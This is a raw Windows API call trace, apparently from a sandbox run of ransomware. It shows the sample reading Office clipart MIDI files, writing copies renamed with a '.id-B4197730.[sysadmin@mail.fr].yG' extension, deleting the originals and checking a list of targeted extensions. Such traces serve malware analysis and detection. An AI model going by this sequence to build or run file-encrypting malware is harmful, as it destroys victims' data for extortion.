	[0149.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.846] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.846] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0149.847] GetLastError () returned 0x0
	[0149.847] ReadFile (in: hFile=0x51c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1b3a, lpOverlapped=0x0) returned 1
	[0149.863] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1b40, lpOverlapped=0x0) returned 1
	[0149.865] ReadFile (in: hFile=0x51c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.865] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.865] SetEndOfFile (hFile=0x388) returned 1
	[0149.865] CloseHandle (hObject=0x388) returned 1
	[0149.865] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.865] SetEndOfFile (hFile=0x51c) returned 1
	[0149.868] CloseHandle (hObject=0x51c) returned 1
	[0149.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1
	[0150.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.085] lstrlenW (lpString=".doc") returned 4
	[0150.085] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.085] lstrlenW (lpString=".docx") returned 5
	[0150.085] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.085] lstrlenW (lpString=".pdf") returned 4
	[0150.085] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.085] lstrlenW (lpString=".xls") returned 4
	[0150.085] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.085] lstrlenW (lpString=".xlsx") returned 5
	[0150.085] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.085] lstrlenW (lpString=".ppt") returned 4
	[0150.085] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.085] lstrlenW (lpString=".zip") returned 4
	[0150.085] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.086] lstrlenW (lpString=".rar") returned 4
	[0150.086] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.086] lstrlenW (lpString=".bz2") returned 4
	[0150.086] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.086] lstrlenW (lpString=".7z") returned 3
	[0150.086] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.086] lstrlenW (lpString=".dbf") returned 4
	[0150.086] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.086] lstrlenW (lpString=".1cd") returned 4
	[0150.086] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.086] lstrlenW (lpString=".jpg") returned 4
	[0150.086] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.086] lstrlenW (lpString=".doc") returned 4
	[0150.086] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.086] lstrlenW (lpString=".docx") returned 5
	[0150.086] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.086] lstrlenW (lpString=".pdf") returned 4
	[0150.086] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.086] lstrlenW (lpString=".xls") returned 4
	[0150.086] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.086] lstrlenW (lpString=".xlsx") returned 5
	[0150.087] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.087] lstrlenW (lpString=".ppt") returned 4
	[0150.087] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.087] lstrlenW (lpString=".zip") returned 4
	[0150.087] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.087] lstrlenW (lpString=".rar") returned 4
	[0150.087] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.087] lstrlenW (lpString=".bz2") returned 4
	[0150.087] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.087] lstrlenW (lpString=".7z") returned 3
	[0150.087] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.087] lstrlenW (lpString=".dbf") returned 4
	[0150.087] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.087] lstrlenW (lpString=".1cd") returned 4
	[0150.087] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0150.087] lstrlenW (lpString=".jpg") returned 4
	[0150.087] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.087] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.087] lstrlenW (lpString="FALL_01.MID") returned 11
	[0150.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.088] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4846) returned 1
	[0150.088] CloseHandle (hObject=0x388) returned 1
	[0150.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220
	[0150.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.089] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.089] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.090] GetLastError () returned 0x0
	[0150.090] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x12ee, lpOverlapped=0x0) returned 1
	[0150.097] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x12f0, lpOverlapped=0x0) returned 1
	[0150.099] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.099] WriteFile (in: hFile=0x544, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xea, lpOverlapped=0x0) returned 1
	[0150.099] SetEndOfFile (hFile=0x544) returned 1
	[0150.099] CloseHandle (hObject=0x544) returned 1
	[0150.100] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.100] SetEndOfFile (hFile=0x388) returned 1
	[0150.103] CloseHandle (hObject=0x388) returned 1
	[0150.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1
	[0150.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.105] lstrlenW (lpString=".doc") returned 4
	[0150.105] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.105] lstrlenW (lpString=".docx") returned 5
	[0150.105] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.105] lstrlenW (lpString=".pdf") returned 4
	[0150.105] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.105] lstrlenW (lpString=".xls") returned 4
	[0150.105] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.105] lstrlenW (lpString=".xlsx") returned 5
	[0150.105] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.105] lstrlenW (lpString=".ppt") returned 4
	[0150.105] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.105] lstrlenW (lpString=".zip") returned 4
	[0150.105] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.105] lstrlenW (lpString=".rar") returned 4
	[0150.105] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.105] lstrlenW (lpString=".bz2") returned 4
	[0150.105] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.105] lstrlenW (lpString=".7z") returned 3
	[0150.105] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString=".dbf") returned 4
	[0150.106] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString=".1cd") returned 4
	[0150.106] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString=".jpg") returned 4
	[0150.106] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString=".doc") returned 4
	[0150.106] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.106] lstrlenW (lpString=".docx") returned 5
	[0150.106] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.106] lstrlenW (lpString=".pdf") returned 4
	[0150.106] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.106] lstrlenW (lpString=".xls") returned 4
	[0150.106] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.106] lstrlenW (lpString=".xlsx") returned 5
	[0150.106] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.106] lstrlenW (lpString=".ppt") returned 4
	[0150.106] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.106] lstrlenW (lpString=".zip") returned 4
	[0150.106] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.106] lstrlenW (lpString=".rar") returned 4
	[0150.107] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.107] lstrlenW (lpString=".bz2") returned 4
	[0150.107] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.107] lstrlenW (lpString=".7z") returned 3
	[0150.107] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.107] lstrlenW (lpString=".dbf") returned 4
	[0150.107] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.107] lstrlenW (lpString=".1cd") returned 4
	[0150.107] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0150.107] lstrlenW (lpString=".jpg") returned 4
	[0150.107] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.107] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.107] lstrlenW (lpString="FINCL_01.MID") returned 12
	[0150.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.108] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=12981) returned 1
	[0150.108] CloseHandle (hObject=0x388) returned 1
	[0150.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220
	[0150.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.111] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.111] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.266] GetLastError () returned 0x0
	[0150.266] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x32b5, lpOverlapped=0x0) returned 1
	[0150.283] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0150.284] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.284] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.284] SetEndOfFile (hFile=0x51c) returned 1
	[0150.285] CloseHandle (hObject=0x51c) returned 1
	[0150.289] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.289] SetEndOfFile (hFile=0x388) returned 1
	[0150.293] CloseHandle (hObject=0x388) returned 1
	[0150.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1
	[0150.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.298] lstrlenW (lpString=".doc") returned 4
	[0150.298] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.298] lstrlenW (lpString=".docx") returned 5
	[0150.298] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.298] lstrlenW (lpString=".pdf") returned 4
	[0150.298] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.298] lstrlenW (lpString=".xls") returned 4
	[0150.298] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.298] lstrlenW (lpString=".xlsx") returned 5
	[0150.298] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.298] lstrlenW (lpString=".ppt") returned 4
	[0150.298] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString=".zip") returned 4
	[0150.299] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.299] lstrlenW (lpString=".rar") returned 4
	[0150.299] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.299] lstrlenW (lpString=".bz2") returned 4
	[0150.299] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.299] lstrlenW (lpString=".7z") returned 3
	[0150.299] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString=".dbf") returned 4
	[0150.299] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString=".1cd") returned 4
	[0150.299] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString=".jpg") returned 4
	[0150.299] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.299] lstrlenW (lpString=".doc") returned 4
	[0150.299] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.299] lstrlenW (lpString=".docx") returned 5
	[0150.299] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.299] lstrlenW (lpString=".pdf") returned 4
	[0150.300] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.300] lstrlenW (lpString=".xls") returned 4
	[0150.300] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.300] lstrlenW (lpString=".xlsx") returned 5
	[0150.300] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.300] lstrlenW (lpString=".ppt") returned 4
	[0150.300] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.300] lstrlenW (lpString=".zip") returned 4
	[0150.300] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.300] lstrlenW (lpString=".rar") returned 4
	[0150.300] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.300] lstrlenW (lpString=".bz2") returned 4
	[0150.300] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.300] lstrlenW (lpString=".7z") returned 3
	[0150.300] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.300] lstrlenW (lpString=".dbf") returned 4
	[0150.300] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.300] lstrlenW (lpString=".1cd") returned 4
	[0150.300] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0150.300] lstrlenW (lpString=".jpg") returned 4
	[0150.300] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.301] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.301] lstrlenW (lpString="HTECH_01.MID") returned 12
	[0150.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.302] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=7178) returned 1
	[0150.302] CloseHandle (hObject=0x388) returned 1
	[0150.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220
	[0150.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
